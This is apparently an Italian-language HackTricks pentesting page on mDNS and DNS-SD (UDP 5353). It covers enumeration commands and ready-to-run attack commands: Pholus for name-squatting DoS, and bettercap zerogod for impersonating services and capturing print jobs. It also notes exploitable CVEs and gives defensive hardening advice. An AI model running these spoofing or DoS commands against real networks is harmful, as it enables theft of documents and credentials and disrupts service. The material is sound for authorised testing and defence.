5353/UDP Multicast DNS (mDNS) e DNS-SD

Reading time: 8 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Multicast DNS (mDNS) consente la risoluzione dei nomi e la scoperta dei servizi simile al DNS all'interno di un link locale senza un server DNS unicast. Utilizza UDP/5353 e gli indirizzi multicast 224.0.0.251 (IPv4) e FF02::FB (IPv6). La scoperta dei servizi DNS (DNS-SD, tipicamente utilizzata con mDNS) fornisce un modo standardizzato per enumerare e descrivere i servizi tramite record PTR, SRV e TXT.

PORT     STATE SERVICE
5353/udp open  zeroconf

Dettagli chiave del protocollo che spesso sfrutterai durante gli attacchi:

  • I nomi nella zona .local vengono risolti tramite mDNS.
  • Il bit QU (Query Unicast) può richiedere risposte unicast anche per domande multicast.
  • Le implementazioni dovrebbero ignorare i pacchetti non provenienti dal link locale; alcune stack li accettano ancora.
  • La sondatura/annuncio impone nomi unici per host/servizi; interferire qui crea condizioni di DoS/"name squatting".

Modello di servizio DNS-SD

I servizi sono identificati come _._tcp o _._udp sotto .local, ad esempio _ipp._tcp.local (stampanti), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), ecc. Scopri i tipi con _services._dns-sd._udp.local, quindi risolvi le istanze scoperte in SRV/TXT/A/AAAA.

Esplorazione e enumerazione della rete

  • scansione target nmap (mDNS diretto su un host):
bash
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • scoperta broadcast nmap (ascolta il segmento e enumera tutti i tipi/istanze DNS-SD):
bash
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux):
bash
# Elenca i tipi di servizio
avahi-browse -bt _services._dns-sd._udp
# Sfoglia tutti i servizi e risolvi in host/porta
avahi-browse -art
  • Apple dns-sd (macOS):
bash
# Sfoglia tutti i servizi HTTP
dns-sd -B _http._tcp
# Enumera i tipi di servizio
dns-sd -B _services._dns-sd._udp
# Risolvi un'istanza specifica in SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
  • Cattura pacchetti con tshark:
bash
# Cattura live
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Solo query di elenco servizi DNS-SD
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

Suggerimento: Alcuni browser/WebRTC utilizzano nomi host mDNS effimeri per mascherare gli IP locali. Se vedi candidati random-UUID.local sulla rete, risolvili con mDNS per passare agli IP locali.

Attacchi

Interferenza nella sondatura dei nomi mDNS (DoS / name squatting)

Durante la fase di sondatura, un host verifica l'unicità del nome. Rispondere con conflitti falsificati costringe a scegliere nuovi nomi o a fallire. Questo può ritardare o impedire la registrazione e la scoperta del servizio.

Esempio con Pholus:

bash
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

Spoofing e impersonificazione del servizio (MitM)

Impersonare i servizi DNS-SD pubblicizzati (stampanti, AirPlay, HTTP, condivisioni di file) per costringere i client a connettersi a te. Questo è particolarmente utile per:

  • Catturare documenti spoofando _ipp._tcp o _printer._tcp.
  • Attirare i client verso servizi HTTP/HTTPS per raccogliere token/cookie o consegnare payload.
  • Combinare con tecniche di relay NTLM quando i client Windows negoziano l'autenticazione con servizi spoofati.

Con il modulo zerogod di bettercap (spoofatore/impersonificatore mDNS/DNS-SD):

bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Note su problemi di implementazione recenti (utili per DoS/persistenza durante gli ingaggi)

  • I bug di crash di Avahi reachable-assertion e D-Bus (2023) possono terminare avahi-daemon su distribuzioni Linux (es. CVE-2023-38469..38473, CVE-2023-1981), interrompendo la scoperta dei servizi sugli host target fino al riavvio.
  • Il DoS del gateway mDNS del Cisco IOS XE Wireless LAN Controller (2024, CVE-2024-20303) consente agli attaccanti adiacenti di generare un alto utilizzo della CPU e disconnettere gli AP. Se incontri un gateway mDNS tra VLAN, fai attenzione alla sua stabilità sotto mDNS malformati o ad alta frequenza.

Considerazioni difensive e OPSEC

  • Confini di segmento: Non instradare 224.0.0.251/FF02::FB tra zone di sicurezza a meno che un gateway mDNS non sia esplicitamente richiesto. Se devi collegare la scoperta, preferisci le liste di autorizzazione e i limiti di frequenza.
  • Endpoint/server Windows:
  • Per disabilitare completamente la risoluzione dei nomi tramite mDNS, imposta il valore del registro e riavvia:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • In ambienti gestiti, disabilita la regola del firewall di Windows Defender “mDNS (UDP-In)” (almeno sul profilo di dominio) per prevenire l'elaborazione mDNS in entrata mantenendo la funzionalità di home/roaming.
  • Su versioni più recenti di Windows 11/temi GPO, utilizza la policy “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” e impostala su Disabilitato.
  • Linux (Avahi):
  • Limita la pubblicazione quando non necessaria: imposta disable-publishing=yes, e restringi le interfacce con allow-interfaces= / deny-interfaces= in /etc/avahi/avahi-daemon.conf.
  • Considera check-response-ttl=yes e evita enable-reflector=yes a meno che non sia strettamente necessario; preferisci le liste di autorizzazione reflect-filters= quando rifletti.
  • macOS: Limita l'mDNS in entrata nei firewall host/rete quando la scoperta Bonjour non è necessaria per subnet specifiche.
  • Monitoraggio: Allerta su picchi insoliti nelle query _services._dns-sd._udp.local o cambiamenti improvvisi in SRV/TXT di servizi critici; questi sono indicatori di spoofing o impersonificazione del servizio.

Riferimenti rapidi agli strumenti

  • nmap NSE: dns-service-discovery e broadcast-dns-service-discovery.
  • Pholus: scansione attiva, sweep mDNS inversi, helper per DoS e spoofing.
bash
# Sniffing passivo (secondi di timeout)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerare i tipi di servizio
sudo python3 pholus3.py <iface> -sscan
# Inviare richieste mDNS generiche
sudo python3 pholus3.py <iface> --request
# Sweep mDNS inverso di una subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: scoprire, salvare, pubblicizzare e impersonare servizi mDNS/DNS-SD (vedi esempi sopra).

Spoofing/MitM

L'attacco più interessante che puoi eseguire su questo servizio è effettuare un MitM nella comunicazione tra il client e il server reale. Potresti essere in grado di ottenere file sensibili (MitM la comunicazione con la stampante) o anche credenziali (autenticazione Windows).
Per ulteriori informazioni controlla:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks